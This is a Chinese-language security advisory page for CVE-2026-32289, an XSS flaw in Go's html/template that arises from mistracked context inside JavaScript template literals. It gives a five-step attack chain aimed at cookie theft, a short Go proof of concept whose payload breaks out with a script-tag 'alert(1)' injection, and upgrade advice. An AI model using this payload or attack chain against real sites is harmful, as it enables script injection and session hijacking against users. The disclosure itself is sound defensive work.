IPBUF安全漏洞报告
English
CVE-2026-32289 CVSS 6.1 中危

CVE-2026-32289 Go模板引擎XSS漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-32289
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Go (Golang) 标准库 html/template

相关标签

XSSGohtml/templateCVE-2026-32289Web安全模板注入

漏洞概述

该漏洞存在于Go语言标准库的`html/template`包中。由于在JavaScript模板字面量内处理分支时未能正确跟踪上下文,且未正确跟踪大括号深度,导致内容转义不当。这些问题可能使攻击者能够绕过安全过滤机制,注入恶意脚本代码,从而引发跨站脚本(XSS)攻击,对用户数据安全和隐私构成威胁。

技术细节

漏洞核心在于`html/template`包对JavaScript上下文的解析逻辑存在缺陷。当模板在JavaScript反引号定义的模板字面量中使用`{{if}}`等分支语句时,引擎无法跨分支维持正确的“JS模板字面量”上下文状态,导致应用错误的转义规则。此外,模板操作在计算大括号深度时出现错误,可能误判字符串结束位置。攻击者通过构造包含特定字符(如反引号、大括号)的恶意输入,诱使引擎在错误的上下文中进行转义或不转义,从而闭合原本的JS字符串或标签,将任意JavaScript代码注入到最终渲染的HTML页面中并在浏览器端执行。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用Go语言开发,且在JavaScript模板字面量中使用了`html/template`进行渲染。
STEP 2
武器化
攻击者构造包含反引号或特定大括号序列的恶意Payload,试图打破模板字面量的上下文限制。
STEP 3
交付
攻击者通过输入字段(如搜索框、用户资料)将恶意Payload提交给服务器。
STEP 4
利用
服务器解析模板时,由于上下文跟踪缺陷,未能正确转义Payload中的特殊字符,导致其被原样输出到JavaScript代码中。
STEP 5
执行
受害者的浏览器访问渲染后的页面,执行注入的恶意脚本,导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "html/template" "os" ) func main() { // Template demonstrating the context tracking issue in JS template literals // The template uses a conditional branch inside a JS template literal tmpl := `<script> let x = ` + "`" + `{{if .Condition}}{{.Data}}{{else}}default{{end}}` + "`" + `; </script>` t, err := template.New("test").Parse(tmpl) if err != nil { panic(err) } // Payload designed to break out of the template literal if escaping fails // Attackers might try to inject backticks or special chars data := struct { Condition bool Data string }{ Condition: true, Data: "` + "</script><script>alert(1)</script>", } err = t.Execute(os.Stdout, data) if err != nil { panic(err) } }

影响范围

Go 标准库 html/template (受 CVE-2026-32289 影响的特定版本)

防御指南

临时缓解措施
建议立即关注Go官方发布的安全公告,并尽快将Go语言版本升级至包含修复补丁的版本。在无法立即升级的情况下,应尽量避免在JavaScript模板字面量(反引号字符串)中使用`{{if}}`等分支动作,或对用户输入实施额外的服务端过滤和转义逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表